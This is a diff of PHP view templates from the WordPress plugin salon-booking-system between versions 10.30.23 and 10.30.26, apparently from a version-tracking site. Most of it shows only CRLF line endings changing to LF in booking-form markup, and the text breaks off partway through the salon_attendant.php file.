\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_editable_snippet.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_editable_snippet.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_editable_snippet.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_editable_snippet.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,35 +1,35 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-$args = array(\r\n-    'key'          => '',\r\n-    'label'        => '',\r\n-    'tag'          => 'h2',\r\n-    'textClasses'  => 'salon-step-title',\r\n-    'inputClasses' => '',\r\n-    'tagClasses'   => 'salon-step-title',\r\n-);\r\n-\r\n-foreach($args as $k => $v) {\r\n-\tif (!isset($$k)) {\r\n-\t\t$$k = $v;\r\n-\t}\r\n-}\r\n-$value = SLN_Plugin::getInstance()->getSettings()->getCustomText($key, $label);\r\n-\r\n-if(current_user_can('manage_options')) {\r\n-\t?>\r\n-\t\u003Cdiv class=\"editable\">\r\n-        \u003C\u003C?php echo $tag; ?> class=\"text \u003C?php echo $textClasses ?>\">\r\n-            \u003C?php echo $value; ?>\r\n-        \u003C\u002F\u003C?php echo $tag; ?>>\r\n-\t\t\u003Cdiv class=\"input \u003C?php echo $inputClasses ?>\">\r\n-\t\t\t\u003Cinput class=\"sln-edit-text\" id=\"\u003C?php echo $key; ?>\" value=\"\u003C?php echo $value; ?>\" \u002F>\r\n-\t\t\u003C\u002Fdiv>\r\n-\t\t\u003Ci class=\"fa fa-cog fa-fw\">\u003C\u002Fi>\r\n-\t\u003C\u002Fdiv>\r\n-\t\u003C?php\r\n-} else {\r\n-\t?>\r\n-\t\u003C\u003C?php echo $tag; ?> class=\"\u003C?php echo $tagClasses ?>\">\u003C?php echo $value; ?>\u003C\u002F\u003C?php echo $tag; ?>>\r\n-\t\u003C?php\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+$args = array(\n+    'key'          => '',\n+    'label'        => '',\n+    'tag'          => 'h2',\n+    'textClasses'  => 'salon-step-title',\n+    'inputClasses' => '',\n+    'tagClasses'   => 'salon-step-title',\n+);\n+\n+foreach($args as $k => $v) {\n+\tif (!isset($$k)) {\n+\t\t$$k = $v;\n+\t}\n+}\n+$value = SLN_Plugin::getInstance()->getSettings()->getCustomText($key, $label);\n+\n+if(current_user_can('manage_options')) {\n+\t?>\n+\t\u003Cdiv class=\"editable\">\n+        \u003C\u003C?php echo $tag; ?> class=\"text \u003C?php echo $textClasses ?>\">\n+            \u003C?php echo $value; ?>\n+        \u003C\u002F\u003C?php echo $tag; ?>>\n+\t\t\u003Cdiv class=\"input \u003C?php echo $inputClasses ?>\">\n+\t\t\t\u003Cinput class=\"sln-edit-text\" id=\"\u003C?php echo $key; ?>\" value=\"\u003C?php echo $value; ?>\" \u002F>\n+\t\t\u003C\u002Fdiv>\n+\t\t\u003Ci class=\"fa fa-cog fa-fw\">\u003C\u002Fi>\n+\t\u003C\u002Fdiv>\n+\t\u003C?php\n+} else {\n+\t?>\n+\t\u003C\u003C?php echo $tag; ?> class=\"\u003C?php echo $tagClasses ?>\">\u003C?php echo $value; ?>\u003C\u002F\u003C?php echo $tag; ?>>\n+\t\u003C?php\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_errors.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_errors.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_errors.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_errors.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,10 +1,10 @@\n-\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\r\n-\u003C?php if ($errors): ?>\r\n-\u003Cdiv class=\"row sln-box--main--flattop\">\r\n-    \u003Cdiv class=\"col-xs-12\">\r\n-        \u003C?php foreach ($errors as $error): ?>\r\n-            \u003Cdiv class=\"sln-alert sln-alert--general sln-alert--problem\">\u003C?php echo $error ?>\u003C\u002Fdiv>\r\n-        \u003C?php endforeach ?>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv>\r\n+\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\n+\u003C?php if ($errors): ?>\n+\u003Cdiv class=\"row sln-box--main--flattop\">\n+    \u003Cdiv class=\"col-xs-12\">\n+        \u003C?php foreach ($errors as $error): ?>\n+            \u003Cdiv class=\"sln-alert sln-alert--general sln-alert--problem\">\u003C?php echo $error ?>\u003C\u002Fdiv>\n+        \u003C?php endforeach ?>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n \u003C?php endif ?>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_form_actions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_form_actions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002F_form_actions.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002F_form_actions.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,183 +1,183 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Shortcode_Salon_Step $step\r\n- * @var $submitName\r\n- * @var $nextLabel\r\n- * @var $backUrl\r\n- *\u002F\r\n-\r\n-if (!isset($nextLabel)) {\r\n-    $nextLabel = __('Next step', 'salon-booking-system');\r\n-}\r\n-$i       = 0;\r\n-$salon  = $step->getShortcode();\r\n-$steps   = $salon->getSteps();\r\n-$count   = count($steps);\r\n-$current = $salon->getCurrentStep();\r\n-$count   = count($steps);\r\n-$style = $salon->getStyleShortcode();\r\n-$size = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-$ajaxSecurity = wp_create_nonce('ajax_post_validation');\r\n-$builder = $plugin->getBookingBuilder();\r\n-$clientIdFieldValue = $builder->getClientId();\r\n-$lastBookingObject = $builder->getLastBooking();\r\n-$lastBookingId = $lastBookingObject ? $lastBookingObject->getId() : null;\r\n-if (!empty($clientIdFieldValue)) {\r\n-    echo '\u003Cinput type=\"hidden\" name=\"sln_client_id\" value=\"' . esc_attr($clientIdFieldValue) . '\">';\r\n-}\r\n-echo '\u003Cinput type=\"hidden\" name=\"action\" value=\"salon\">';\r\n-echo '\u003Cinput type=\"hidden\" name=\"method\" value=\"salonStep\">';\r\n-echo '\u003Cinput type=\"hidden\" name=\"security\" value=\"' . esc_attr($ajaxSecurity) . '\">';\r\n-if (!empty($lastBookingId)) {\r\n-    echo '\u003Cinput type=\"hidden\" name=\"sln_booking_id\" value=\"' . esc_attr($lastBookingId) . '\">';\r\n-}\r\n-if (isset($_GET['lang'])) {\r\n-    echo '\u003Cinput type=\"hidden\" name=\"lang\" value=\"' . esc_attr(sanitize_text_field(wp_unslash($_GET['lang']))) . '\">';\r\n-}\r\n-\r\n-foreach ($steps as $step_iter) {\r\n-    $i++;\r\n-    if ($current == $step_iter) {\r\n-        $currentNum = $i;\r\n-    }\r\n-}\r\n-$ajaxEnabled = $plugin->getSettings()->isAjaxEnabled(); ?>\r\n-\u003C?php if($size == '900'): ?>\r\n-    \u003Cdiv id=\"sln-box__bottombar\" class=\"col-xs-12 col-md-4 sln-box__bottombar sln-box__bottombar--l sln-box__bottombar--\u003C?php echo $current; ?>\">\r\n-    \u003C!-- \u003Cdiv class=\"sln-box__bottombar__fkbg\">\u003C\u002Fdiv> -->\r\n-    \u003Cdiv class=\"sln-box__bottombar__fkbg--customcolors\">\u003C\u002Fdiv>\r\n-\u003C?php else: ?>\r\n-\u003Cdiv id=\"sln-box__bottombar\" class=\"row sln-box__bottombar sln-box__bottombar--\u003C?php echo $current; ?>\">\r\n-    \u003C!-- \u003Cdiv class=\"sln-box__bottombar__fkbg\">\u003C\u002Fdiv> -->\r\n-    \u003Cdiv class=\"sln-box__bottombar__fkbg--customcolors\">\u003C\u002Fdiv>\r\n-    \u003Cdiv class=\"col-xs-12\">\r\n-\r\n-\u003C?php endif; ?>\r\n-\r\n-        \u003C?php if ($step->isNeedTotal()) { ?>\r\n-            \u003Cdiv class=\"sln-total\">\r\n-                \u003C?php if ($size == '900'): ?>\r\n-                    \u003Ch3 class=\"col-xs-6 col-sm-6 col-md-6 sln-total-label\">\r\n-                        \u003C?php esc_html_e('Subtotal', 'salon-booking-system') ?>\r\n-                    \u003C\u002Fh3>\r\n-                    \u003Ch3 class=\"col-xs-6 col-sm-6 col-md-6 sln-total-price\" id=\"services-total\"\r\n-                        data-symbol-left=\"\u003C?php echo $symbolLeft ?>\"\r\n-                        data-symbol-right=\"\u003C?php echo $symbolRight ?>\"\r\n-                        data-symbol-decimal=\"\u003C?php echo $decimalSeparator ?>\"\r\n-                        data-symbol-thousand=\"\u003C?php echo $thousandSeparator ?>\">\r\n-                        \u003C?php echo $plugin->format()->money(0, false) ?>\r\n-                    \u003C\u002Fh3>\r\n-                \u003C?php elseif ($size == '600'): ?>\r\n-                    \u003Ch3 class=\"sln-total-label\">\r\n-                        \u003C?php esc_html_e('Subtotal', 'salon-booking-system') ?>\r\n-                    \u003C\u002Fh3>\r\n-                    \u003Ch3 class=\"sln-total-price\" id=\"services-total\"\r\n-                        data-symbol-left=\"\u003C?php echo $symbolLeft ?>\"\r\n-                        data-symbol-right=\"\u003C?php echo $symbolRight ?>\"\r\n-                        data-symbol-decimal=\"\u003C?php echo $decimalSeparator ?>\"\r\n-                        data-symbol-thousand=\"\u003C?php echo $thousandSeparator ?>\">\r\n-                        \u003C?php echo $plugin->format()->money(0, false) ?>\r\n-                    \u003C\u002Fh3>\r\n-                \u003C?php elseif ($size == '400'): ?>\r\n-                    \u003Ch3 class=\"sln-total-label\">\r\n-                        \u003C?php esc_html_e('Subtotal', 'salon-booking-system') ?>\r\n-                    \u003C\u002Fh3>\r\n-                    \u003Ch3 class=\"sln-total-price\" id=\"services-total\"\r\n-                        data-symbol-left=\"\u003C?php echo $symbolLeft ?>\"\r\n-                        data-symbol-right=\"\u003C?php echo $symbolRight ?>\"\r\n-                        data-symbol-decimal=\"\u003C?php echo $decimalSeparator ?>\"\r\n-                        data-symbol-thousand=\"\u003C?php echo $thousandSeparator ?>\">\r\n-                        \u003C?php echo $plugin->format()->money(0, false) ?>\r\n-                    \u003C\u002Fh3>\r\n-                \u003C?php else: throw new Exception('size not supported'); ?>\r\n-                \u003C?php endif ?>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C?php } ?>\r\n-\r\n-        \u003C?php ob_start();\r\n-        if(!empty($paymentMethod) && $paymentMethod){\r\n-            echo $paymentMethod->renderPayButton(array('booking' => $bb, 'paymentMethod' => $paymentMethod, 'ajaxData' => $ajaxData, 'payUrl' => $payUrl, 'payRemainingAmount' => $payRemainingAmount));\r\n-        }else{\r\n-        ?>\r\n-        \u003Cbutton\r\n-            \u003C?php if($ajaxEnabled): ?>\r\n-                data-salon-data=\"\u003C?php echo \"sln_step_page=$current&$submitName=next\" ?>\" data-salon-toggle=\"next\"\r\n-            \u003C?php endif?>\r\n-            id=\"sln-step-submit\" type=\"submit\" name=\"\u003C?php echo $submitName ?>\" value=\"next\">\r\n-            \u003C?php echo $nextLabel ?> \u003Ci class=\"glyphicon glyphicon-chevron-right\">\u003C\u002Fi>\r\n-        \u003C\u002Fbutton>\r\n-        \u003Cbutton\r\n-                id=\"sln-step-submit-complete\" value=\"next\" class=\"hidden\">\r\n-            \u003C?php echo __('Complete', 'salon-booking-system') ?>\r\n-        \u003C\u002Fbutton>\r\n-        \u003C?php\r\n-        }\r\n-        $nextBtn = ob_get_clean();\r\n-\r\n-        ob_start();\r\n-        if(!empty($paymentMethod) && $paymentMethod && !empty($payLater) && $payLater):\r\n-        ?>\r\n-            \u003Ca href=\"\u003C?php echo $laterUrl; ?>\" class=\"sln-btn sln-btn--fullwidth sln-btn--borderonly sln-btn--medium\"\r\n-            \u003C?php if($ajaxEnabled): ?>\r\n-                data-salon-data=\"\u003C?php echo $ajaxData. '&mode=later'; ?>\" data-salon-toggle=\"direct\"\r\n-            \u003C?php endif ?>>\r\n-                \u003C?php esc_html_e('Pay later', 'salon-booking-system'); ?>\r\n-            \u003C\u002Fa>\r\n-        \u003C?php elseif(($backUrl && $currentNum > 1)): ?>\r\n-            \u003Ca class=\"sln-btn sln-btn--fullwidth sln-btn--borderonly sln-btn--medium\"\r\n-                \u003C?php if($ajaxEnabled): ?>\r\n-                    data-salon-data=\"\u003C?php echo \"sln_step_page=\".$salon->getPrevStep() ?>\" data-salon-toggle=\"direct\"\r\n-                \u003C?php endif?>\r\n-                href=\"\u003C?php echo $backUrl ?> \">\r\n-                \u003Ci class=\"glyphicon glyphicon-chevron-left\">\u003C\u002Fi> \u003C?php esc_html_e('Back', 'salon-booking-system') ?>\r\n-                \u003Cspan id=\"start-over\" class=\"hidden\">\u003C?php echo esc_html__('Start over', 'salon-booking-system'); ?>\u003C\u002Fspan>\r\n-            \u003C\u002Fa> \r\n-        \u003C?php\r\n-        endif;\r\n-        $backBtn = ob_get_clean();\r\n-        ?>\r\n-        \u003C?php if ($size == '900') { ?>\r\n-            \u003Cdiv class=\"sln-box--formactions sln-box--formactions--\u003C?php echo $current; ?> form-actions\">\r\n-                \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--medium sln-btn--fullwidth sln-btn--nextstep\">\r\n-                    \u003C?php echo $nextBtn ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003C?php if (isset($backBtn)) : ?>\r\n-                       \u003Cdiv class=\"sln-btn--prevstep\">\u003C?php echo $backBtn ?>\u003C\u002Fdiv>\r\n-                \u003C?php endif ?>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C?php } else if ($size == '600') {      \u002F\u002F IF SIZE == 900 \u002F\u002F END ?>\r\n-            \u003Cdiv class=\"sln-box--formactions sln-box--formactions--\u003C?php echo $current; ?> form-actions\">\r\n-                \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--medium sln-btn--fullwidth sln-btn--nextstep\">\r\n-                    \u003C?php echo $nextBtn ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003C?php if (isset($backBtn)) : ?>\r\n-                       \u003Cdiv class=\"sln-btn--prevstep\">\u003C?php echo $backBtn ?>\u003C\u002Fdiv>\r\n-                \u003C?php endif ?>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C?php } else if ($size == '400') {        \u002F\u002F IF SIZE == 900 \u002F\u002F END ?>\r\n-            \u003Cdiv class=\"sln-box--formactions sln-box--formactions--\u003C?php echo $current; ?> form-actions\">\r\n-                \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--medium sln-btn--fullwidth sln-btn--nextstep\">\r\n-                    \u003C?php echo $nextBtn ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003C?php if (isset($backBtn)) : ?>\r\n-                       \u003Cdiv class=\"sln-btn--prevstep\">\u003C?php echo $backBtn ?>\u003C\u002Fdiv>\r\n-                \u003C?php endif ?>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C?php } else {        \u002F\u002F IF SIZE == 400 \u002F\u002F END ?>\r\n-            \u003Cdiv class=\"form-actions row\">\r\n-                \u003Cdiv class=\"col-xs-12 col-md-7 pull-right\">\r\n-                    \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--big sln-btn--fullwidth\">\r\n-                        \u003C?php echo $nextBtn ?>\r\n-                    \u003C\u002Fdiv>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"col-xs-12 col-md-4 pull-right\">\r\n-                    \u003C?php if (isset($backBtn)) : ?>\r\n-                        \u003C?php echo $backBtn ?>\r\n-                    \u003C?php endif ?>\r\n-                \u003C\u002Fdiv>\r\n-                \u003Cdiv class=\"col-xs-12 col-md-1 pull-right\">\u003C\u002Fdiv>\r\n-            \u003C\u002Fdiv>\r\n-        \u003C?php }     \u002F\u002F IF SIZE ELSE \u002F\u002F END ?>\r\n-    \u003C\u002Fdiv>\r\n-\u003C\u002Fdiv> \u003C!-- sln-box--main closing tag if size == 900 else sln-box--formactions closing tag -->\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Shortcode_Salon_Step $step\n+ * @var $submitName\n+ * @var $nextLabel\n+ * @var $backUrl\n+ *\u002F\n+\n+if (!isset($nextLabel)) {\n+    $nextLabel = __('Next step', 'salon-booking-system');\n+}\n+$i       = 0;\n+$salon  = $step->getShortcode();\n+$steps   = $salon->getSteps();\n+$count   = count($steps);\n+$current = $salon->getCurrentStep();\n+$count   = count($steps);\n+$style = $salon->getStyleShortcode();\n+$size = SLN_Enum_ShortcodeStyle::getSize($style);\n+$ajaxSecurity = wp_create_nonce('ajax_post_validation');\n+$builder = $plugin->getBookingBuilder();\n+$clientIdFieldValue = $builder->getClientId();\n+$lastBookingObject = $builder->getLastBooking();\n+$lastBookingId = $lastBookingObject ? $lastBookingObject->getId() : null;\n+if (!empty($clientIdFieldValue)) {\n+    echo '\u003Cinput type=\"hidden\" name=\"sln_client_id\" value=\"' . esc_attr($clientIdFieldValue) . '\">';\n+}\n+echo '\u003Cinput type=\"hidden\" name=\"action\" value=\"salon\">';\n+echo '\u003Cinput type=\"hidden\" name=\"method\" value=\"salonStep\">';\n+echo '\u003Cinput type=\"hidden\" name=\"security\" value=\"' . esc_attr($ajaxSecurity) . '\">';\n+if (!empty($lastBookingId)) {\n+    echo '\u003Cinput type=\"hidden\" name=\"sln_booking_id\" value=\"' . esc_attr($lastBookingId) . '\">';\n+}\n+if (isset($_GET['lang'])) {\n+    echo '\u003Cinput type=\"hidden\" name=\"lang\" value=\"' . esc_attr(sanitize_text_field(wp_unslash($_GET['lang']))) . '\">';\n+}\n+\n+foreach ($steps as $step_iter) {\n+    $i++;\n+    if ($current == $step_iter) {\n+        $currentNum = $i;\n+    }\n+}\n+$ajaxEnabled = $plugin->getSettings()->isAjaxEnabled(); ?>\n+\u003C?php if($size == '900'): ?>\n+    \u003Cdiv id=\"sln-box__bottombar\" class=\"col-xs-12 col-md-4 sln-box__bottombar sln-box__bottombar--l sln-box__bottombar--\u003C?php echo $current; ?>\">\n+    \u003C!-- \u003Cdiv class=\"sln-box__bottombar__fkbg\">\u003C\u002Fdiv> -->\n+    \u003Cdiv class=\"sln-box__bottombar__fkbg--customcolors\">\u003C\u002Fdiv>\n+\u003C?php else: ?>\n+\u003Cdiv id=\"sln-box__bottombar\" class=\"row sln-box__bottombar sln-box__bottombar--\u003C?php echo $current; ?>\">\n+    \u003C!-- \u003Cdiv class=\"sln-box__bottombar__fkbg\">\u003C\u002Fdiv> -->\n+    \u003Cdiv class=\"sln-box__bottombar__fkbg--customcolors\">\u003C\u002Fdiv>\n+    \u003Cdiv class=\"col-xs-12\">\n+\n+\u003C?php endif; ?>\n+\n+        \u003C?php if ($step->isNeedTotal()) { ?>\n+            \u003Cdiv class=\"sln-total\">\n+                \u003C?php if ($size == '900'): ?>\n+                    \u003Ch3 class=\"col-xs-6 col-sm-6 col-md-6 sln-total-label\">\n+                        \u003C?php esc_html_e('Subtotal', 'salon-booking-system') ?>\n+                    \u003C\u002Fh3>\n+                    \u003Ch3 class=\"col-xs-6 col-sm-6 col-md-6 sln-total-price\" id=\"services-total\"\n+                        data-symbol-left=\"\u003C?php echo $symbolLeft ?>\"\n+                        data-symbol-right=\"\u003C?php echo $symbolRight ?>\"\n+                        data-symbol-decimal=\"\u003C?php echo $decimalSeparator ?>\"\n+                        data-symbol-thousand=\"\u003C?php echo $thousandSeparator ?>\">\n+                        \u003C?php echo $plugin->format()->money(0, false) ?>\n+                    \u003C\u002Fh3>\n+                \u003C?php elseif ($size == '600'): ?>\n+                    \u003Ch3 class=\"sln-total-label\">\n+                        \u003C?php esc_html_e('Subtotal', 'salon-booking-system') ?>\n+                    \u003C\u002Fh3>\n+                    \u003Ch3 class=\"sln-total-price\" id=\"services-total\"\n+                        data-symbol-left=\"\u003C?php echo $symbolLeft ?>\"\n+                        data-symbol-right=\"\u003C?php echo $symbolRight ?>\"\n+                        data-symbol-decimal=\"\u003C?php echo $decimalSeparator ?>\"\n+                        data-symbol-thousand=\"\u003C?php echo $thousandSeparator ?>\">\n+                        \u003C?php echo $plugin->format()->money(0, false) ?>\n+                    \u003C\u002Fh3>\n+                \u003C?php elseif ($size == '400'): ?>\n+                    \u003Ch3 class=\"sln-total-label\">\n+                        \u003C?php esc_html_e('Subtotal', 'salon-booking-system') ?>\n+                    \u003C\u002Fh3>\n+                    \u003Ch3 class=\"sln-total-price\" id=\"services-total\"\n+                        data-symbol-left=\"\u003C?php echo $symbolLeft ?>\"\n+                        data-symbol-right=\"\u003C?php echo $symbolRight ?>\"\n+                        data-symbol-decimal=\"\u003C?php echo $decimalSeparator ?>\"\n+                        data-symbol-thousand=\"\u003C?php echo $thousandSeparator ?>\">\n+                        \u003C?php echo $plugin->format()->money(0, false) ?>\n+                    \u003C\u002Fh3>\n+                \u003C?php else: throw new Exception('size not supported'); ?>\n+                \u003C?php endif ?>\n+            \u003C\u002Fdiv>\n+        \u003C?php } ?>\n+\n+        \u003C?php ob_start();\n+        if(!empty($paymentMethod) && $paymentMethod){\n+            echo $paymentMethod->renderPayButton(array('booking' => $bb, 'paymentMethod' => $paymentMethod, 'ajaxData' => $ajaxData, 'payUrl' => $payUrl, 'payRemainingAmount' => $payRemainingAmount));\n+        }else{\n+        ?>\n+        \u003Cbutton\n+            \u003C?php if($ajaxEnabled): ?>\n+                data-salon-data=\"\u003C?php echo \"sln_step_page=$current&$submitName=next\" ?>\" data-salon-toggle=\"next\"\n+            \u003C?php endif?>\n+            id=\"sln-step-submit\" type=\"submit\" name=\"\u003C?php echo $submitName ?>\" value=\"next\">\n+            \u003C?php echo $nextLabel ?> \u003Ci class=\"glyphicon glyphicon-chevron-right\">\u003C\u002Fi>\n+        \u003C\u002Fbutton>\n+        \u003Cbutton\n+                id=\"sln-step-submit-complete\" value=\"next\" class=\"hidden\">\n+            \u003C?php echo __('Complete', 'salon-booking-system') ?>\n+        \u003C\u002Fbutton>\n+        \u003C?php\n+        }\n+        $nextBtn = ob_get_clean();\n+\n+        ob_start();\n+        if(!empty($paymentMethod) && $paymentMethod && !empty($payLater) && $payLater):\n+        ?>\n+            \u003Ca href=\"\u003C?php echo $laterUrl; ?>\" class=\"sln-btn sln-btn--fullwidth sln-btn--borderonly sln-btn--medium\"\n+            \u003C?php if($ajaxEnabled): ?>\n+                data-salon-data=\"\u003C?php echo $ajaxData. '&mode=later'; ?>\" data-salon-toggle=\"direct\"\n+            \u003C?php endif ?>>\n+                \u003C?php esc_html_e('Pay later', 'salon-booking-system'); ?>\n+            \u003C\u002Fa>\n+        \u003C?php elseif(($backUrl && $currentNum > 1)): ?>\n+            \u003Ca class=\"sln-btn sln-btn--fullwidth sln-btn--borderonly sln-btn--medium\"\n+                \u003C?php if($ajaxEnabled): ?>\n+                    data-salon-data=\"\u003C?php echo \"sln_step_page=\".$salon->getPrevStep() ?>\" data-salon-toggle=\"direct\"\n+                \u003C?php endif?>\n+                href=\"\u003C?php echo $backUrl ?> \">\n+                \u003Ci class=\"glyphicon glyphicon-chevron-left\">\u003C\u002Fi> \u003C?php esc_html_e('Back', 'salon-booking-system') ?>\n+                \u003Cspan id=\"start-over\" class=\"hidden\">\u003C?php echo esc_html__('Start over', 'salon-booking-system'); ?>\u003C\u002Fspan>\n+            \u003C\u002Fa> \n+        \u003C?php\n+        endif;\n+        $backBtn = ob_get_clean();\n+        ?>\n+        \u003C?php if ($size == '900') { ?>\n+            \u003Cdiv class=\"sln-box--formactions sln-box--formactions--\u003C?php echo $current; ?> form-actions\">\n+                \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--medium sln-btn--fullwidth sln-btn--nextstep\">\n+                    \u003C?php echo $nextBtn ?>\n+                \u003C\u002Fdiv>\n+                \u003C?php if (isset($backBtn)) : ?>\n+                       \u003Cdiv class=\"sln-btn--prevstep\">\u003C?php echo $backBtn ?>\u003C\u002Fdiv>\n+                \u003C?php endif ?>\n+            \u003C\u002Fdiv>\n+        \u003C?php } else if ($size == '600') {      \u002F\u002F IF SIZE == 900 \u002F\u002F END ?>\n+            \u003Cdiv class=\"sln-box--formactions sln-box--formactions--\u003C?php echo $current; ?> form-actions\">\n+                \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--medium sln-btn--fullwidth sln-btn--nextstep\">\n+                    \u003C?php echo $nextBtn ?>\n+                \u003C\u002Fdiv>\n+                \u003C?php if (isset($backBtn)) : ?>\n+                       \u003Cdiv class=\"sln-btn--prevstep\">\u003C?php echo $backBtn ?>\u003C\u002Fdiv>\n+                \u003C?php endif ?>\n+            \u003C\u002Fdiv>\n+        \u003C?php } else if ($size == '400') {        \u002F\u002F IF SIZE == 900 \u002F\u002F END ?>\n+            \u003Cdiv class=\"sln-box--formactions sln-box--formactions--\u003C?php echo $current; ?> form-actions\">\n+                \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--medium sln-btn--fullwidth sln-btn--nextstep\">\n+                    \u003C?php echo $nextBtn ?>\n+                \u003C\u002Fdiv>\n+                \u003C?php if (isset($backBtn)) : ?>\n+                       \u003Cdiv class=\"sln-btn--prevstep\">\u003C?php echo $backBtn ?>\u003C\u002Fdiv>\n+                \u003C?php endif ?>\n+            \u003C\u002Fdiv>\n+        \u003C?php } else {        \u002F\u002F IF SIZE == 400 \u002F\u002F END ?>\n+            \u003Cdiv class=\"form-actions row\">\n+                \u003Cdiv class=\"col-xs-12 col-md-7 pull-right\">\n+                    \u003Cdiv class=\"sln-btn sln-btn--emphasis sln-btn--big sln-btn--fullwidth\">\n+                        \u003C?php echo $nextBtn ?>\n+                    \u003C\u002Fdiv>\n+                \u003C\u002Fdiv>\n+                \u003Cdiv class=\"col-xs-12 col-md-4 pull-right\">\n+                    \u003C?php if (isset($backBtn)) : ?>\n+                        \u003C?php echo $backBtn ?>\n+                    \u003C?php endif ?>\n+                \u003C\u002Fdiv>\n+                \u003Cdiv class=\"col-xs-12 col-md-1 pull-right\">\u003C\u002Fdiv>\n+            \u003C\u002Fdiv>\n+        \u003C?php }     \u002F\u002F IF SIZE ELSE \u002F\u002F END ?>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv> \u003C!-- sln-box--main closing tag if size == 900 else sln-box--formactions closing tag -->\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_attendant.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_attendant.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fshortcode\u002Fsalon_attendant.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fshortcode\u002Fsalon_attendant.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,35 +1,35 @@\n-\u003C?php\r\n-\u002F**\r\n- * @var SLN_Plugin                        $plugin\r\n- * @var string                            $formAction\r\n- * @var string                            $submitName\r\n- * @var SLN_Shortcode_Salon_AttendantStep $step\r\n- * @var bool                              $isMultipleAttSelection\r\n- *\u002F\r\n-$bb                     = $plugin->getBookingBuilder();\r\n-$attendants             = $step->getAttendants();\r\n-$style                  = $step->getShortcode()->getStyleShortcode();\r\n-$size                   = SLN_Enum_ShortcodeStyle::getSize($style);\r\n-$isMultipleAttSelection = $plugin->getSettings()->isMultipleAttendantsEnabled();\r\n-$includeName = $isMultipleAttSelection ? 